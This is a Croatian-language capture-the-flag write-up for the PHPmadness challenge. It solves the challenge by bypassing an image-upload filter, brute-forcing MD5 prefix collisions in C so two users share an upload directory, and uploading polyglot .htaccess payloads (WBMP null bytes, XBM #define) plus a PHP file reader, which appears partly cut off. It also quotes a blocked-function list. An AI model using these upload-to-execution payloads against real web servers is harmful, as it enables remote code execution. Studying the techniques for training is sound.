==== Zadatak s Hacknite platforme - PHPmadness ==== Ovaj zadatak ima slojeve http://chal.platforma.hacknite.hr:14019 Dan je i izvorni kod zadatka. \\ {{ phpmadness:slika1.png?nolink&500 | Slika 1 - Dockerfile}} Pregledom **Dockerfilea** zadatka, može se vidjeti da se radi o PHP zadatku, te da se flag kopira u direktorij **/flag**, te da flag datoteka dobiva nasumično generirano ime u formatu: fl4g_ Odlaskom na stranicu zadatka, potrebno je registrirati novi korisnički račun, nakon logina prikazuje se stranica na kojoj se može pohraniti jedna jedina slika. \\ {{ phpmadness:slika2.png?nolink&500 | Slika 2 - stranica zadatka}} Nakon što se uploada neka mala nasumična slika (npr. **whatever.png**), dobije se poveznica na lokaciju slike. \\ {{ phpmadness:slika3.png?nolink&500 | Slika 3 - poveznica na lokaciju slike}} Pregledom koda u datoteci **user.php** može se pronaći kod koji validira da je učitana datoteka zapravo slika. \\ {{ phpmadness:slika4.png?nolink&500 | Slika 4 - user.php – validacije učitane slike}} Kod se sastoji od tri provjere, prva provjera je samo provjera ekstenzije učitane datoteke, provjerava se tako da se uzme dio naziva datoteke nakon zadnje točke, npr. **.jpg**, te se provjerava da ta ekstenzija ne počinje znakovima **ph**, što je definirano ovim REGEX pravilom: if (preg_match('/^ph/', $ext)) { Ovu provjeru lako je zaobići, tako da se stave dvostruke ekstenzije, npr. file.php.jpg U kojem bi slučaju ova provjera uzela samo **.jpg**, nakon čega sprema datoteku bez provjerene ekstenzije, što bi značilo da bi samo druga ekstenzija, **.php**, ostala. Druga provjera, provjerava da MIME tip poslan u zahtjevu odgovara slici: if (strpos($_FILES["file"]["type"], "image/")) Ovu provjeru je lagano zaobići namještanjem ove vrijednosti na korisničkoj strani pri slanju datoteke. Treća provjera: $info = @getimagesize($_FILES["file"]["tmp_name"]); $mime = $info['mime']; ... strpos($mime, "image/") !== 0 Provjerava datoteku na serverskoj strani, čitajući njezin "file signature" ili "magic bytes" i prema njima određuje je li učitana datoteka slika ili nije. I ovu provjeru moguće je jednostavno zaobići, tako da se napravi PHP datoteka s kodom koji se želi izvršiti na serveru, na početku koje se dodaju "magic byteovi" odnosno "file signature" neke slike, npr. .jpg, i u slučaju da bi PHP parser čitao ovu datoteku, on bi ignorirao ove byteove i nakon toga uspješno pročitao i pokrenuo PHP kod. No postoji problem, čak i da se uploada datoteka s PHP kodom koja zaobilazi sve ove provjere, ona se i dalje ne bi izvršila, zato što će se učitati pod putanjom **/uploads/**, a u **/uploads** direktoriju postoji **.htaccess** file, koji zabranjuje izvršavanje svim PHP datotekama. \\ {{ phpmadness:slika5.png?nolink&500 | Slika 5 - .htaccess u /uploads direktoriju}} No uploadana datoteka će se nalaziti u poddirektoriju od **/uploads**, nalazit će se u: /uploads/<specific_user_directory> Što znači da ako je moguće uploadati **.htaccess** file, koji bi također zaobišao provjere da je uploadana datoteka slika, taj učitani **.htaccess** file bi nadjačao (eng. override) roditeljski **.htaccess** file. Time bi bilo moguće definirati vlastita **.htaccess** pravila u direktoriju pojedinog korisnika. No problem je da svaki korisnik smije imati samo jednu učitanu datoteku po korisničkoj sesiji, i učitavanjem nove datoteke, stara datoteka se briše i samo nova čuva, što je prikazano u kodu na slici 6. \\ {{ phpmadness:slika6.png?nolink&500 | Slika 6 - user.php – logika učitavanja datoteke korisnika}} To znači da ako korisnik učita **.php** file koji zaobilazi sve provjere, on neće biti dopušten zbog **.htaccess** konfiguracije u naddirektoriju, a ako uspije učitati **.htaccess** datoteku koja overridea krovnu konfiguraciju, neće biti moguće učitati **.php** datoteku koja bi iskoristila tu novu konfiguraciju koja dopušta izvršavanje PHP koda. No postoji način za učitati dvije datoteke u isti direktorij, kako bi se mogla učitati prvo **.htaccess** datoteka koja bi dozvolila izvršavanja PHP koda i onda druga datoteka koja bi sadržavala PHP kod, koji bi se izvršio i koristio za čitanje flaga. Odgovor leži u logici koja određuje u koji direktorij će se pohraniti korisnikova učitana datoteka, što je određeno u ovoj liniji koda: $userdir = substr(md5($_SESSION['username']), 0, 6) . "/"; Ova linija koda određuje da će se korisnikov direktorij nazvati kao prvih 6 znakova MD5 sažetka korisnikovog korisničkog imena (usernamea). To znači da ako možemo pronaći dva korisnička imena, koja oba imaju istih prvih 6 znakova njihovih MD5 sažetka, odnosno MD5(X)[0:6] = MD5(Y)[0:6] gdje su X i Y dva različita usernamea, svaki korisnik može uploadati jednu datoteku u isti direktorij, tako da korištenjem jednog korisnika se može uploadati **.htaccess** datoteka, a korištenjem drugog korisnika datoteka sa PHP kodom, čije je izvršavanje omogućeno **.htaccess** datotekom. Pronalazak para usernameova čijih prvih 6 znakova MD5 hash algoritma se podudaraju je jednostavan problem i čistim bruteforceom se može pronaći vrlo brzo, ispod minute (implementacijom u C-u). Sljedeće je jedan primjer C koda koji pronalazi ovo rješenje. // md5_collision_finder6 #include #include #include #include #include const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!()"; int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv[0]); return 1; } char *input = argv[1]; size_t input_len = strlen(input); unsigned char input_digest[MD5_DIGEST_LENGTH]; MD5((unsigned char*)input, input_len, input_digest); printf("Input string: %s\n", input); printf("Full MD5: "); for (int i = 0; i < MD5_DIGEST_LENGTH; i++) { printf("%02x", input_digest[i]); } printf("\nFirst 6 chars: "); for (int i = 0; i < 3; i++) { printf("%02x", input_digest[i]); } printf("\nSearching for collision (min 8 chars)...\n"); // Extract first 3 bytes as target unsigned char target[3]; memcpy(target, input_digest, 3); const int min_len = 8; // MINIMUM candidate length const int max_len = 15; // MAXIMUM candidate length const size_t charset_size = sizeof(charset) - 1; unsigned long long attempts = 0; const unsigned long long report_interval = 10000000; char candidate[max_len + 1]; // Buffer for candidate srand(time(NULL)); while (1) { attempts++; // Generate random candidate length (8-15) int len = rand() % (max_len - min_len + 1) + min_len; // Generate random candidate for (int i = 0; i < len; i++) { candidate[i] = charset[rand() % charset_size]; } candidate[len] = '\0'; // Skip input string if same (length + content) if (len == input_len && memcmp(candidate, input, len) == 0) { continue; } // Compute MD5 unsigned char candidate_digest[MD5_DIGEST_LENGTH]; MD5((unsigned char*)candidate, len, candidate_digest); // Progress report if (attempts % report_interval == 0) { printf("Attempts: %lluM, Current: %s\n", attempts/1000000, candidate); } // Check first 3 bytes (6 hex characters) if (memcmp(candidate_digest, target, 3) == 0) { printf("\nCollision found after %llu attempts!\n", attempts); printf("Colliding string: %s (length: %d)\n", candidate, len); printf("Full MD5: "); for (int i = 0; i < MD5_DIGEST_LENGTH; i++) { printf("%02x", candidate_digest[i]); } printf("\nFirst 6 chars: "); for (int i = 0; i < 3; i++) { printf("%02x", candidate_digest[i]); } printf("\n"); break; } } return 0; } Program se treba kompajlirati i nakon toga se može pokrenuti, prosljeđujući mu username za koji je potrebno naći MD5 hash collision u prvih 6 znakova kao argument. Primjer ovakvog para korisničkih imena dobivenog ovim programom je: $ ./md5_collision_finder6 korisnik1 Input string: korisnik1 Full MD5: affc2dc1a3f9fb05392d3cb0a784ff61 First 6 chars: affc2d Searching for collision (min 8 chars)... Attempts: 10M, Current: ZF7ciZizcHo8 Collision found after 19093362 attempts! Colliding string: BQuxIUGH (length: 8) Full MD5: affc2da2a9c70df41678d24f997a95f0 First 6 chars: affc2d Dva korisnička imena, čije bi učitane datoteke bile u istom direktoriju su: korisnik1 i BQuxIUGH Preostaje problem kako učitati **.htaccess** datoteku, koja će uspješno proći kroz provjere da je učitana datoteka slika, dok će se i dalje dobro parsirati kao ispravan **.htaccess** file. Pri parsiranju PHP fileova, nepoznati byteovi će se samo preskočiti, te je ovo trivijalan problem kod datoteke s PHP kodom, dok je u slučaju **.htaccess** datoteke, ovo zapravo najteži dio zadatka. .htaccess datoteka koja bi koristila ovaj pristup bi se mogla zvati **.htaccess.jpg**. Postoje dva rješenja. ==== .wbmp ==== Prvo se zasniva na činjenici da se pri parsiranju .htaccess datoteke, null bajtovi na početku preskaču bez errora, te se file dalje normalno parsira, dok 4 null bajtovi na početku datoteke PHP prepoznaje kao file signature .wbmp datoteke, koja je slika, te se tako može napraviti „pseudo-poliglot” datoteka koja PHP-ovu provjeru uvjerava da je .wbmp slika, dok je i dalje .htaccess file koji se može uspješno parsirati. Datoteka može imati sadržaj: <4 null bajtova> Require all granted SetHandler application/x-httpd-php ==== .xbm ==== Drugo rješenje se zasniva na činjenici da u .htaccess datoteci komentari se označavaju znakom “#” na početku linije, te se tako može konstruirati datoteka kojoj su prve dvije linije: #define a_width 1 #define a_height 1 što prolazi provjeru je li učitana datoteka slika, interpretirajući se kao **.xbm** datoteka (slika), dok se pri parsiranju datoteke kao .htaccess, ove dvije linije smatraju komentarima i preskaču, pa se parsiranje .htaccess datoteke normalno nastavlja. Primjer sadržaja: #define a_width 1 #define a_height 1 Require all granted SetHandler application/x-httpd-php Sada su riješena sva ograničenja zadatka i jasan je način kako se može stvoriti 2 korisnika s odgovarajućim korisničkim imenima kako bi se mogle učitati dvije datoteke, **.htaccess** i datoteka s PHP kodom u isti korisnički direktorij, uz zaobilazak svih provjera i ograničenja zadatka za učitavanje datoteke. Još jedno ograničenje je preostalo za PHP kod koji se treba učitati i izvršavati za dohvat flaga, to je skup zabranjenih funkcija, definiran u **/php-config/disable_functions.ini**. Zabranjene funkcije su: disable_functions = exec,system,passthru,shell_exec,proc_open,popen,pcntl_exec No i dalje i s ovim ograničenjem ima dosta načina za pronaći flag datoteku i pročitati ju i bez ovih zabranjenih funkcija. Primjer datoteke s PHP kodom, koja bi bila odobrena prethodnom **.htaccess** datotekom i pronašla flag datoteku te je pročitala i ispisala se može zvati **readFlag.php3.jpg** i sadržavati file signature bilo koje slike, npr. koristeći tehniku .wbmp, te nakon toga potrebni PHP kod: <4 null byteova> Contents of: $file
";
        echo htmlspecialchars(file_get_contents($path));
        echo "

"; } } ?>
Preostali koraci: * s jednim korisnikom učitati prethodno opisanu **.htaccess.jpg** datoteku, \\ {{ phpmadness:slika7.png?nolink&500 | Slika 7 - upload .htaccess.jpg datoteke}} * s drugim korisnikom učitati opisanu datoteku s PHP kodom (**readFlag.php3.jpg**), \\ {{ phpmadness:slika8.png?nolink&500 | Slika 8 - upload readFlag.php3.jpg datoteke}} * otići na lokaciju učitane PHP datoteke i posjetiti je, \\ {{ phpmadness:slika9.png?nolink&500 | Slika 9 - link na lokaciju}} kako bi se PHP kod izvršio i ispisao flag. \\ {{ phpmadness:slika10.png?nolink&500 | Slika 10 - riješen zadatak}}